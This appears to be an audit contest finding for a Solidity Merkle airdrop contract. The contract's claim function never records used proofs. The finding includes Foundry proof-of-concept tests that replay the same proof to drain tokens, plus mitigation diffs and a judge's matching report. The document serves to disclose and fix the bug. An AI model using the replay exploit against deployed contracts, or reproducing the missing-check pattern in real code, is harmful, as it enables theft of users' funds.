AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
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Submission Details
Severity: high
Valid

Missing double-spend protection allows unlimited claims with the same Merkle proof → contract fully drained

aiada

Description

  • Normal: Each whitelisted address should claim their airdrop allocation exactly once. The Merkle proof proves inclusion in the whitelist.

  • Bug: After verifying the Merkle proof, the contract transfers tokens without recording that the leaf was used. No mapping(bytes32 => bool) tracks claimed leaves — the same proof can be replayed indefinitely.

// src/MerkleAirdrop.sol:30-40
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external {
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
//@> No check: has this leaf already been claimed?
//@> No mapping to record: s_claimed[leaf] = true;
​
i_airdropToken.safeTransfer(account, amount);
emit Claimed(account, amount);
}

Risk

Likelihood:

  • Every address with a valid proof can call claim() repeatedly with the same parameters

  • No external condition or state change blocks re-use — the proof remains valid forever

  • Attacker needs only enough ETH to pay the per-claim fee (1e9 wei per claim)

Impact:

  • Attacker drains the entire airdrop pool by looping claim() with the same proof

  • Contract balance reaches zero — legitimate users receive nothing

  • All whitelisted allocations can be stolen by a single attacker

Proof of Concept

function test_DoubleClaimVulnerability() public {
vm.deal(collectorOne, FEE * 3);
vm.startPrank(collectorOne);
​
// First claim — 25 tokens received
airdrop.claim{value: FEE}(collectorOne, claimAmount, proof);
assertEq(token.balanceOf(collectorOne), claimAmount);
​
// Second claim with SAME proof — another 25 tokens
airdrop.claim{value: FEE}(collectorOne, claimAmount, proof);
assertEq(token.balanceOf(collectorOne), claimAmount * 2);
​
// Third claim — still works, 75 tokens total
airdrop.claim{value: FEE}(collectorOne, claimAmount, proof);
assertEq(token.balanceOf(collectorOne), claimAmount * 3);
​
vm.stopPrank();
}

Run with:

forge test --match-test test_DoubleClaimVulnerability -vvv

Result: [PASS] test_DoubleClaimVulnerability() — same proof successfully claimed 3 times.

Recommended Mitigation

+ mapping(bytes32 => bool) private s_claimed;
​
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
+
+ if (s_claimed[leaf]) revert MerkleAirdrop__AlreadyClaimed();
+
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ s_claimed[leaf] = true;
i_airdropToken.safeTransfer(account, amount);
emit Claimed(account, amount);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 11 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

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